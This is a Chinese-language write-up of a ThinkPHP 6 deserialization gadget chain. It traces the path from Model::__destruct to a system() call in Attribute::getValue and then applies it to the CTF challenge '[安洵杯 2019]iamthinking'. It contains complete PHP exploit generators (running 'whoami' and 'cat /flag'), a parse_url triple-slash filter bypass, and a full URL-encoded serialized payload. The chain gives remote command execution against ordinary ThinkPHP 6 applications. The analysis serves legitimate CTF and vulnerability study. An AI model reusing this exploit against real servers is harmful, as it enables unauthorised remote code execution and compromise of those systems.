分析
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | think\Model  think\Model  think\Model  think\Model  think\Model 
 
  后半部分利用链(同tp 5.2后半部分利用链)
  think\model\concern\Conversion  think\model\concern\Conversion  think\model\concern\Conversion  think\model\concern\Attribute  think\model\concern\Attribute 
 
  | 
 
vendor/topthink/think-orm/src/Model.php
Model类中存在__destruct()方法,令$this->lazySave等于true,调用save()。Model类为抽象类,利用的时候要用它的子类Pivot

跟进save()函数,触发点位于updateData函数内,首先需要构造参数防止函数直接返回,才能进入updateData()函数

需要满足三个条件才能进入updateData(),
1.$this->exists为true
2.isEmpty()需要返回false,给$this->data赋值即可

3.trigger()需要返回true,让$this->withEvent等于false

checkAllowFields()触发__toString(),需要构造参数防止提前return,第一个if条件已经满足。第二个if,需要empty($data)等于false
/vendor/topthink/think-orm/src/model/concern/Attribute.php
跟进getChangeData()方法,让$this->force和$this->data都有值就可以

需要先满足$this->field为空、$this->schema为空两个条件才能调用$this->db()

db()方法中出现了拼接字符串操作,触发__toString(),需要先让$this->connection等于mysql

接下来就是原来tp5的__toString利用链,由于model\concern\Conversion是一个trait复用类,所以只要在Model下use即可
vendor/topthink/think-orm/src/model/concern/Conversion.php
存在__toString()方法,调用toJson()

跟进toJson(),调用__toArray()

toArray()


vendor/topthink/think-orm/src/model/concern/Attribute.php
getAttr()函数,调用getValue()

getData()

getRealFieldName(),$this->strict等于true返回$name,这样getData()方法就会返回$this->data[$name]。

getValue()函数中存在命令执行,当$this->withAttr[$fieldName]不为数组的时候触发。

利用
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | <?php namespace think\model\concern {     trait Conversion     {     }     trait Attribute     {         private $data;         private $withAttr = ["xxx" => "system"];         public function get()         {             $this->data = ["xxx" => "whoami"];         }     } } namespace think{     abstract class Model{         use model\concern\Attribute;         use model\concern\Conversion;         private $lazySave;         protected $withEvent;         private $exists;         private $force;         protected $field;         protected $schema;         protected $table;         function __construct(){             $this->lazySave = true;             $this->withEvent = false;             $this->exists = true;             $this->force = true;             $this->field = [];             $this->schema = [];             $this->table = true;         }     } } namespace think\model{     use think\Model;     class Pivot extends Model     {         function __construct($obj='')         {                          parent::__construct();             $this->get();             $this->table = $obj;         }     }     $a = new Pivot();     $b = new Pivot($a);     echo urlencode(serialize($b)); }
 
  | 
 
本地测试

[安洵杯 2019]iamthinking
存在备份文件www.zip

查看源码得到版本为thinkphp6,查看控制器,发现存在unserialize。过滤了O开头的字符串,可以根据parse_url的特性绕过,在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false。

在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | <?php namespace think\model\concern {     trait Conversion     {     }     trait Attribute     {         private $data;         private $withAttr = ["xxx" => "system"];         public function get()         {             $this->data = ["xxx" => "cat /flag"];         }     } } namespace think{     abstract class Model{         use model\concern\Attribute;         use model\concern\Conversion;         private $lazySave;         protected $withEvent;         private $exists;         private $force;         protected $field;         protected $schema;         protected $table;         function __construct(){             $this->lazySave = true;             $this->withEvent = false;             $this->exists = true;             $this->force = true;             $this->field = [];             $this->schema = [];             $this->table = true;         }     } } namespace think\model{     use think\Model;     class Pivot extends Model     {         function __construct($obj='')         {                          parent::__construct();             $this->get();             $this->table = $obj;         }     }     $a = new Pivot();     $b = new Pivot($a);     echo urlencode(serialize($b)); }
 
  | 
 
利用反序列化漏洞,得到flag
1
   | http://c9c7cb46-f78b-4359-a3b6-7cfc292d6693.node3.buuoj.cn///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A6%3A%22system%22%3B%7D%7D
 
  | 
 

参考
https://www.cnblogs.com/20175211lyz/p/12203047.html
https://forum.90sec.com/t/topic/1160